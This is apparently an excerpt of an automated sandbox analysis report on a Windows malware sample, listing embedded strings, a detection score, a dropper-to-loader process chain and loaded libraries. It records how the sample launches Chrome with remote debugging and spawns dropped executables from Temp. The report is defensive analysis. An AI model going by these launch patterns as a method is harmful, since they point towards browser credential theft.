Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2153782770.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2147868752.000000001D495000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2153782770.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2147868752.000000001D495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2153782770.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2147868752.000000001D495000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1874844679.000000001D395000.00000004.00000020.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2832048976.0000000005486000.00000004.00000800.00020000.00000000.sdmp, 39c228201d.exe, 00000011.00000003.2867165415.0000000005468000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2153782770.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2147868752.000000001D495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2153782770.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2147868752.000000001D495000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 36%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: FCFBFHIEBK.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: adebfeb535.exe	String found in binary or memory: /add?substr=
Source: adebfeb535.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2180,i,12075969876713685064,4288485122995697307,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FCFBFHIEBK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\FCFBFHIEBK.exe "C:\Users\user\Documents\FCFBFHIEBK.exe"
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe "C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe "C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe "C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe "C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe "C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe"
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe "C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 --field-trial-handle=2332,i,12861390567964963251,12216732073079238039,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\FCFBFHIEBK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 --field-trial-handle=2180,i,12075969876713685064,4288485122995697307,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\FCFBFHIEBK.exe "C:\Users\user\Documents\FCFBFHIEBK.exe"	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe "C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe "C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe "C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe "C:\Users\user\AppData\Local\Temp\1010573001\39c228201d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe "C:\Users\user\AppData\Local\Temp\1010574001\d88d6966da.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2444 --field-trial-handle=2332,i,12861390567964963251,12216732073079238039,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\FCFBFHIEBK.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010570001\67d914dff5.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1010571001\adebfeb535.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1010572001\bb0adee266.exe	Section loaded: apphelp.dll
